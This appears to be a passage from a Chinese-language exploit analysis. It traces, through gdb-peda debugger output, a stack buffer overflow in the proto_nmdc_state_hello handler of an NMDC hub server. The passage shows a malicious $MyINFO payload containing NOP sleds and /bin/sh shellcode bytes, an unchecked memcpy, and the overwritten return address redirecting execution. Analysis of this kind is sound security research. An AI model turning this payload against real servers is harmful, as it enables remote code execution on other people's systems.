ESP: 0xbfffefb0 --> 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
EIP: 0x8053f77 (<proto_nmdc_state_hello+1431>:  call   0x8048df0 <memcpy@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8053f6e <proto_nmdc_state_hello+1422>: push   DWORD PTR [esp+0x30c]
   0x8053f75 <proto_nmdc_state_hello+1429>: push   ebx
   0x8053f76 <proto_nmdc_state_hello+1430>: push   esi
=> 0x8053f77 <proto_nmdc_state_hello+1431>: call   0x8048df0 <memcpy@plt>
   0x8053f7c <proto_nmdc_state_hello+1436>: add    esp,0xc
   0x8053f7f <proto_nmdc_state_hello+1439>: push   0x0
   0x8053f81 <proto_nmdc_state_hello+1441>: push   0x8
   0x8053f83 <proto_nmdc_state_hello+1443>: push   DWORD PTR [esp+0x30c]
Guessed arguments:
arg[0]: 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
arg[1]: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
arg[2]: 0x144 
[------------------------------------stack-------------------------------------]
0000| 0xbfffefb0 --> 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
0004| 0xbfffefb4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
0008| 0xbfffefb8 --> 0x144 
0012| 0xbfffefbc --> 0xb7e4a5d0 (<_IO_str_init_static_internal+64>: )
0016| 0xbfffefc0 --> 0x79 ('y')
0020| 0xbfffefc4 --> 0x806c328 ("Pierre")
0024| 0xbfffefc8 --> 0x79 ('y')
0028| 0xbfffefcc --> 0x50 ('P')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 6, 0x08053f77 in proto_nmdc_state_hello ()

memcpy会将整个畸形payload考入到缓冲区中,这个过程没有对payload的长度进行检查而是直接拷贝,可以看到从recv开始到memcpy都一直没有进行长度控制,接下来返回时。

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x2c2c2c2c (',,,,')
ECX: 0x0 
EDX: 0x5 
ESI: 0x2c2c2c2c (',,,,')
EDI: 0x2c2c2c2c (',,,,')
EBP: 0x2c2c2c2c (',,,,')
ESP: 0xbffff2bc --> 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")
EIP: 0x8053d2c (<proto_nmdc_state_hello+844>:   ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8053d29 <proto_nmdc_state_hello+841>:  pop    esi
   0x8053d2a <proto_nmdc_state_hello+842>:  pop    edi
   0x8053d2b <proto_nmdc_state_hello+843>:  pop    ebp
=> 0x8053d2c <proto_nmdc_state_hello+844>:  ret    
   0x8053d2d <proto_nmdc_state_hello+845>:  lea    esi,[esi+0x0]
   0x8053d30 <proto_nmdc_state_hello+848>:  add    esp,0x2ec
   0x8053d36 <proto_nmdc_state_hello+854>:  xor    ebp,ebp
   0x8053d38 <proto_nmdc_state_hello+856>:  pop    ebx
[------------------------------------stack-------------------------------------]
0000| 0xbffff2bc --> 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")
0004| 0xbffff2c0 --> 0x80626d6 --> 0x0 
0008| 0xbffff2c4 --> 0xb1b1b1b1 
0012| 0xbffff2c8 --> 0xb1b1b1b1 
0016| 0xbffff2cc --> 0xb1b1b1b1 
0020| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0024| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0028| 0xbffff2d8 --> 0xcacaca24 

由于缓冲区溢出,导致返回地址被覆盖,到达可控位置。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x2c2c2c2c (',,,,')
ECX: 0x0 
EDX: 0x5 
ESI: 0x2c2c2c2c (',,,,')
EDI: 0x2c2c2c2c (',,,,')
EBP: 0x2c2c2c2c (',,,,')
ESP: 0xbffff2c0 --> 0x80626d6 --> 0x0 
EIP: 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8066a27 <buf+39>:  push   esi
   0x8066a28 <buf+40>:  popa   
   0x8066a29 <buf+41>:  ins    BYTE PTR es:[edi],dx
=> 0x8066a2a <buf+42>:  imul   esp,DWORD PTR [ecx+eiz*2+0x74],0x63694e65
   0x8066a32 <buf+50>:  imul   esp,DWORD PTR [eax],0x50
   0x8066a35 <buf+53>:  imul   esp,DWORD PTR [ebp+0x72],0x247c6572
   0x8066a3c <buf+60>:  push   esi
   0x8066a3d <buf+61>:  outs   dx,BYTE PTR gs:[esi]
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0x80626d6 --> 0x0 
0004| 0xbffff2c4 --> 0xb1b1b1b1 
0008| 0xbffff2c8 --> 0xb1b1b1b1 
0012| 0xbffff2cc --> 0xb1b1b1b1 
0016| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0020| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0024| 0xbffff2d8 --> 0xcacaca24 
0028| 0xbffff2dc --> 0x505a20ca 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08066a2a in buf ()
Comments
Write a Comment